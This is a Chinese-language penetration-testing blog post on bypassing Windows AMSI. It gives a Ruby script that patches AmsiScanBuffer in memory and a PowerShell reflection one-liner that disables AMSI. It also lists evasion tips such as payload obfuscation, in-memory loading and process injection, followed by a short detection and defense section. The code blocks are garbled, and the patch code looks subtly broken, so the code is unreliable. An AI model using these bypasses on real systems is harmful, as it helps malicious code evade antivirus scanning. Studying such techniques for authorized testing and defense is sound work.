0x01 AMSI的反击战

Windows防御机制中的AMSI(防恶意软件扫描接口)是一个强大的内置功能,旨在检测和阻止恶意软件的执行。对于攻击者来说,AMSI是我们绕过和规避的主要目标之一。攻击者可以利用其机制上的弱点来实现免杀技术。本文将从一个渗透测试工程师的视角出发,深入探讨AMSI绕过的技术细节和实施步骤。

AMSI的工作原理

AMSI是如何工作的呢?在执行任何PowerShell脚本之前,AMSI都会对其进行扫描,并将结果传递给安装的防病毒软件。此机制能够实时捕获和阻止恶意代码执行。然而,AMSI并不是完美无缺的,它的实现中存在一些漏洞和可被利用的弱点。

  • 脚本拦截:AMSI通过拦截脚本内容进行实时分析。
  • 集成防病毒:它与防病毒软件紧密结合,提供实时保护。
  • 广泛支持:不仅限于PowerShell,还支持其他脚本环境。

攻防双方都需要了解AMSI的工作机制,才能有效地绕过或加强防御。

逃脱猎手的陷阱:环境搭建

在实施任何攻击之前,构建一个测试环境是至关重要的。这里,我们将搭建一个简单的Windows环境用于测试AMSI绕过技术。这不仅能帮助我们验证攻击策略,还能确保在真实环境中实施技术时更为高效。

黑客示意图

实验环境

  • 操作系统:Windows 10/11
  • 工具:Powershell 5.1及以上版本,Ruby和Shell脚本环境
  • 目标软件:安装EDR或防病毒软件,以模拟真实的防御环境

环境配置

  1. 安装Ruby:确保Ruby环境已正确安装,使用ruby -v命令验证。
  1. PowerShell设置:以管理员权限运行PowerShell,调整执行策略以允许执行脚本:
  2. <pre><code class="language-shell"> Set-ExecutionPolicy RemoteSigned `

The Bypass Symphony: POC代码演绎

绕过AMSI的最常见方法之一是通过修改内存中的AMSI相关函数。我们将使用Ruby和Shell脚本来实现这一过程,提供完整的POC代码使其可复现。

Ruby代码实现

</code></pre>ruby

使用Ruby语言修改AMSI相关内存中的内容

require 'fiddle' require 'fiddle/import'

module Kernel32 extend Fiddle::Importer dlload 'kernel32.dll' extern 'void GetModuleHandleA(char)' extern 'void GetProcAddress(void, char*)' end

module AMSI extend Fiddle::Importer dlload 'amsi.dll' extern 'int AmsiScanBuffer(void, void, int, char, void)' end

def patch_amsi handle = Kernel32::GetModuleHandleA('amsi.dll') address = Kernel32::GetProcAddress(handle, 'AmsiScanBuffer')

修改内存中的函数来实现绕过

Fiddle::Pointer[address][0, 5] = "\x90\x90\x90\x90\x90" # 使用NOP指令填充 end

patch_amsi puts "AMSI已被成功绕过" <pre><code>

Shell脚本实现

</code></pre>shell

!/bin/bash

使用Shell脚本实现AMS绕过

echo "[INFO] 开始绕过AMSI" powershell -Command "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" echo "[INFO] AMSI绕过完成" `

幕后故事:绕过与免杀技巧

在实际攻击过程中,攻击者通常不会只依赖单一的技术来绕过AMSI。多重技术的结合可以提高成功率和隐蔽性。

技巧分享

  1. Payload混淆:通过代码混淆、字符串加密等技术,使脚本内容不易被识别。
  1. 内存加载:直接将恶意代码加载到内存中,规避文件层面的扫描。
  1. 动态分析对抗:使用反动态分析技术,使其难以在虚拟环境中被触发。
  1. 进程注入:将代码注入到可信进程中,利用其信任关系进行绕过。

猎手的反击:检测与防御措施

对于安全团队来说,了解绕过方法的同时,也要积极采取相应的检测与防御措施。

检测策略

  • 异动监控:监控内存中的异常操作和进程行为。
  • 异常日志分析:通过分析系统日志识别潜在的绕过行为。
  • 实时应用控制:限制对关键API的访问,防止未经授权的修改。

黑客示意图

防御增强

  1. 部署最新的防病毒软件和EDR,确保其能够识别和阻止绕过行为。
  2. 定期更新防御规则和策略,以应对新出现的绕过技术。

个人经验:攻防两端的思考

作为一名渗透测试工程师,不仅需要了解攻击技术,更需要从攻防两端进行反思和优化。

黑客示意图

实战建议

  • 保持好奇心:持续学习最新技术,提升自己的技术深度。
  • 双重视角:从攻击者和防御者的角度双向学习,提高洞察力。
  • 实践为王:多进行实战演练,以增强应对真实攻击场景的能力。

在技术飞速发展的今天,AMS绕过技术不断涌现,作为安全从业者,我们必须时刻保持警觉,不断学习和适应新的挑战。本文仅供合法授权的安全测试和研究使用,未经授权的攻击行为是违法的。